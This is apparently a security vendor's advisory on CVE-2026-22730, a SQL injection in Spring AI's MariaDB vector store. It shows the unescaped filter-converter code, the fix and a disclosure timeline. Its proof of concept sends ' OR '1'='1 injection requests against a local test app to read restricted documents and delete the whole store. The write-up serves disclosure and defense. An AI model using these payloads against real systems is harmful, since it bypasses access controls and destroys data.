CVE-2026-22730: SQL Injection in Spring AI’s MariaDB Vector Store

ClawdBot VS Code Trojan Analysis and OpenClaw Security Risks
ClawdBot VS Code Trojan Analysis and OpenClaw Security Risks
March 6, 2026
Denial of Service (DoS) Attack: Types, Impact, and Prevention
Denial of Service (DoS) Attack: Types, Impact, and Prevention
March 19, 2026

March 19, 2026

Contributors: Sandeep Kamble, BugDazz Autonomous Pentest AI, Rabit0 Model
Publication Date: March 19, 2026
Severity Rating: Critical (CVSS Score: 8.8)
Vulnerability Status: Zero-day at time of discovery

A financial services firm was two weeks from go-live on an internal AI assistant. The stack was Spring AI with MariaDB as the vector store, a RAG pipeline over policy and compliance documents, and a chat interface for employees. Access control was done through metadata filters on the vector store — an HR analyst should only retrieve documents tagged `department: HR`, not `Finance` or `Legal`.

We were brought in for a pre-production security review.

Before starting the manual audit, we ran Bugdazz — our autonomous pentest AI built on the Rabit0 model — against the Spring AI source and the customer’s integration code. Rabit0 does taint analysis: it traces user-controlled input from entry points through transformations to database or command sinks, looking for paths where sanitization is absent or incomplete. It doesn’t match signatures — it reads the code and reasons about what reaches what.

First pass. It flagged `MariaDBFilterExpressionConverter` with: “String values are quoted but not escaped before SQL insertion. Injection likely if filter values come from user input.”

We took it from there.

Executive Summary

Before diving into exploitation mechanics and mitigation steps, it’s important to understand the basic profile of the vulnerability. Here is a brief snapshot:

  • CVE ID: CVE-2026-22730
  • Severity: High (CVSS 8.8 – SQL Injection)
  • Affected Versions: Spring AI 1.0.x versions prior to 1.0.4 and 1.1.x versions prior to 1.1.3
  • Fixed Versions: Spring AI 1.0.4 and 1.1.3 (or later)
  • Attack Vector: SQL Injection via improper handling of string values in filter expressions, where user-controlled input is directly embedded into SQL queries without escaping
  • Privileges Required: Low (authenticated user capable of supplying filter input)
  • User Interaction: None (exploitation possible via crafted HTTP requests)
  • Impact: Access control bypass leading to unauthorized data retrieval across restricted datasets, exposure of sensitive information, and potential full data deletion causing service disruption

The Vulnerable Code

`MariaDBFilterExpressionConverter` converts Spring AI’s `Filter.Expression` AST — the structured representation of a filter like `department == ‘Finance’` — into a SQL predicate string. The class that does this lives at:


vector-stores/spring-ai-mariadb-store/src/main/java/org/springframework/
 ai/vectorstore/mariadb/MariaDBFilterExpressionConverter.java

The method responsible for serializing string values into SQL, at line 49:

</> java
@Override
protected void doSingleValue(Object value, StringBuilder context) {
   if (value instanceof String) {
       context.append(String.format("'%s'", value));  // no escaping
   }
   else {
       context.append(value);
   }
}

String values are wrapped in single quotes via `String.format(“‘%s'”, value)` and appended directly. No escaping of `’`, no escaping of `\`, nothing. If the value contains a single quote, the SQL string literal terminates at that character and whatever follows is parsed as raw SQL.

This output then feeds into two places in `MariaDBVectorStore.java`.

Two Injection Points

1. Similarity search — line 355

</> java
String nativeFilterExpression = this.filterExpressionConverter
   .convertExpression(request.getFilterExpression());


if (StringUtils.hasText(nativeFilterExpression)) {
   jsonPathFilter = "and " + nativeFilterExpression + " ";
}


final String sql = String.format(
   "SELECT * FROM (select %s, %s, %s, vec_distance_%s(%s, ?) as distance " +
   "from %s) as t where distance < ? %sorder by distance asc LIMIT ?",
   this.idFieldName, this.contentFieldName, this.metadataFieldName,
   distanceType, this.embeddingFieldName,
   getFullyQualifiedTableName(), jsonPathFilter);

The `?` placeholders bind the embedding vector and distance threshold. The filter expression — `jsonPathFilter` — is placed via `String.format`, outside of parameterized binding entirely.

2. Filter-based delete — line 329

</> java
@Override
protected void doDelete(Filter.Expression filterExpression) {
   String nativeFilterExpression =
       this.filterExpressionConverter.convertExpression(filterExpression);


   String sql = String.format("DELETE FROM %s WHERE %s",
       getFullyQualifiedTableName(), nativeFilterExpression);


   this.jdbcTemplate.update(sql);
}

No parameterization anywhere. The entire `WHERE` clause is the converted expression, executed directly via `jdbcTemplate.update`.

Proof of Concept

We built a minimal reproduction: MariaDB 11.2 in Docker, a Spring Boot app replicating the vulnerable filter converter, three documents seeded with department metadata.

</> sql
INSERT INTO vector_store (id, content, metadata, embedding) VALUES
('1', 'HR Policy Document',           '{"department": "HR",          "accessLevel": "user"}',  '[0.1, 0.2, 0.3]'),
('2', 'Finance Budget - CONFIDENTIAL','{"department": "Finance",     "accessLevel": "admin"}', '[0.4, 0.5, 0.6]'),
('3', 'Engineering Docs',             '{"department": "Engineering", "accessLevel": "user"}',  '[0.7, 0.8, 0.9]');

The controller passed the `department` query parameter directly into `FilterExpressionBuilder.eq()`, which is the exact pattern in the customer’s integration code:

</> java
@GetMapping("/api/docs")
public Map<String, Object> searchDocuments(@RequestParam String department) {
   var filter = new FilterExpressionBuilder().eq("department", department).build();
   String filterExpression = filterConverter.convertExpression(filter);
   String sql = "SELECT * FROM vector_store WHERE " + filterExpression;
   List<Map<String, Object>> results = jdbcTemplate.queryForList(sql);
   ...
}

Normal request

</> bash
curl "http://localhost:8081/api/docs?department=HR"
```


```
[FILTER] JSON_VALUE(metadata, '$.department') = 'HR'
[SQL]    SELECT * FROM vector_store WHERE JSON_VALUE(metadata, '$.department') = 'HR'
[RESULT] Found 1 documents

Injection:

</> bash
curl "http://localhost:8081/api/docs?department=%27%20OR%20%271%27%3D%271"
```


URL-decoded value: `' OR '1'='1`


`doSingleValue` wraps it: `'%s'` → `'' OR '1'='1'`


```
[FILTER] JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
[SQL]    SELECT * FROM vector_store WHERE JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
[RESULT] Found 3 documents

The `WHERE` clause is always true. All rows returned:

</> json
{
 "success": true,
 "count": 3,
 "sql_executed": "SELECT * FROM vector_store WHERE JSON_VALUE(metadata, '$.department') = '' OR '1'='1'",
 "documents": [
   { "id": "1", "content": "HR Policy Document",            "metadata": "{\"department\": \"HR\",          \"accessLevel\": \"user\"}" },
   { "id": "2", "content": "Finance Budget - CONFIDENTIAL", "metadata": "{\"department\": \"Finance\",     \"accessLevel\": \"admin\"}" },
   { "id": "3", "content": "Engineering Docs",              "metadata": "{\"department\": \"Engineering\", \"accessLevel\": \"user\"}" }
 ]
}

An HR analyst gets Finance’s confidential budget document. They don’t see the SQL — the LLM incorporates the Finance document into its response and answers their question using data they have no clearance to see.

Delete path:

</> bash
curl -X DELETE "http://localhost:8081/api/docs?department=%27%20OR%20%271%27%3D%271"
```


```
[SQL]    DELETE FROM vector_store WHERE JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
[RESULT] Deleted 3 rows

The entire vector store is gone. The AI assistant stops functioning until all source documents are re-ingested.

Why the Bug Existed

`AbstractFilterExpressionConverter` had `doSingleValue` as a concrete method — subclasses inherited the default behavior unless they overrode it. The MariaDB adapter, added in November 2024 (`0b00e6f4`), didn’t override it.

The deeper reason it went unnoticed: the SQL in `MariaDBVectorStore.java` does use `?` placeholders — for the embedding vector and distance threshold. A reviewer scanning for SQL injection would see the parameterized patterns and not notice that the filter expression, which is a dynamically generated SQL fragment rather than a scalar value, was outside the scope of those placeholders. Parameterized queries can only substitute scalar values; you cannot bind a boolean SQL expression as a `?` parameter. The filter expression had to be a string — and that string needed escaping that was never added.

The Fix

Commit `4602c23` (March 6, 2026) replaced the unsafe `doSingleValue` in the MariaDB converter with a call to a new static method `emitSqlString()`:

</> java
@Override
protected void doSingleValue(Object value, StringBuilder context) {
   if (value instanceof Date date) {
       emitSqlString(ISO_DATE_FORMATTER.format(date.toInstant()), context);
   }
   else if (value instanceof String stringValue) {
       emitSqlString(stringValue, context);
   }
   else {
       context.append(value);
   }
}

`emitSqlString` escapes character by character: single quotes are doubled (`’` → `”`), backslashes are doubled (`\` → `\\`), control characters are replaced with their escape sequences (`\n`, `\r`, `\t`, `\b`, `\f`), and Unicode control characters below U+0020 are rendered as `\uXXXX`.

With the fix, the payload `’ OR ‘1’=’1` becomes `”’ OR ”1”=”1’` — the outer single quotes are the SQL string literal delimiter added by `emitSqlString`, everything between them is the escaped literal value. MariaDB parses it as the string `’ OR ‘1’=’1`. The `OR` never reaches the SQL parser as a keyword.

The same commit made `doSingleValue` abstract in `AbstractFilterExpressionConverter`. Every adapter now has to implement it explicitly — the unsafe default can no longer be inherited. The commit flags this as a breaking change for custom converter implementations, which is the right call.

The fix also adds a dedicated security test class covering single-quote injection, backslash sequences, newline injection, double quotes, and compound payloads.

What This Meant for the Customer

The customer’s security model was entirely metadata-filter-based. There was no row-level security in the database, no secondary authorization check in the application layer. The assumption was that Spring AI’s filter expression system would scope retrieval correctly.

The vulnerability meant:

  • Any authenticated employee could retrieve documents across all departments and access levels with a single crafted request — without any elevated database access, without any special tooling, using only a browser or curl.
  • The breach would be invisible to the employee: the LLM would incorporate the leaked documents and produce a coherent answer. There is no error, no access denied, no indication anything went wrong.
  • The delete path meant the entire knowledge base could be wiped in one request. Recovery required re-ingesting all source documents from scratch.

This is the specific risk introduced when SQL injection occurs in a RAG retrieval layer rather than a standard CRUD API: the document that leaks doesn’t appear as a raw database row in a response — it gets silently incorporated into the model’s answer. Attribution is harder, detection is harder, and the user receiving the answer has no reason to question it.

Remediation

If you are using any impacted versions, upgrade directly to the corresponding fixed release listed below:

Affected VersionsFixed Version
1.0.x versions upto 1.0.31.0.4
1.1.x versions upto 1.1.21.1.3

About This Research

Research Team:

Found by Bugdazz Autonomous Pentest AI (Rabit0 model) + manual verification by Sandeep Kamble, SecureLayer7

Disclosure Timeline:

Nov 26, 2024 – MariaDB vector store added to Spring AI (`0b00e6f4`) — vulnerable from day one

Dec 31, 2025 – Advisory submitted to Spring Security team

Mar 6, 2026 – Fix merged (`4602c23`)

Mar 17, 2026 – Fix released. Advisory closed

Related Reading:

Advisory: [GHSA-c267-rfvc-mvpm](https://github.com/advisories/GHSA-c267-rfvc-mvpm)

https://www.cyber.gc.ca/en/alerts-advisories/spring-security-advisory-av26-245











Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading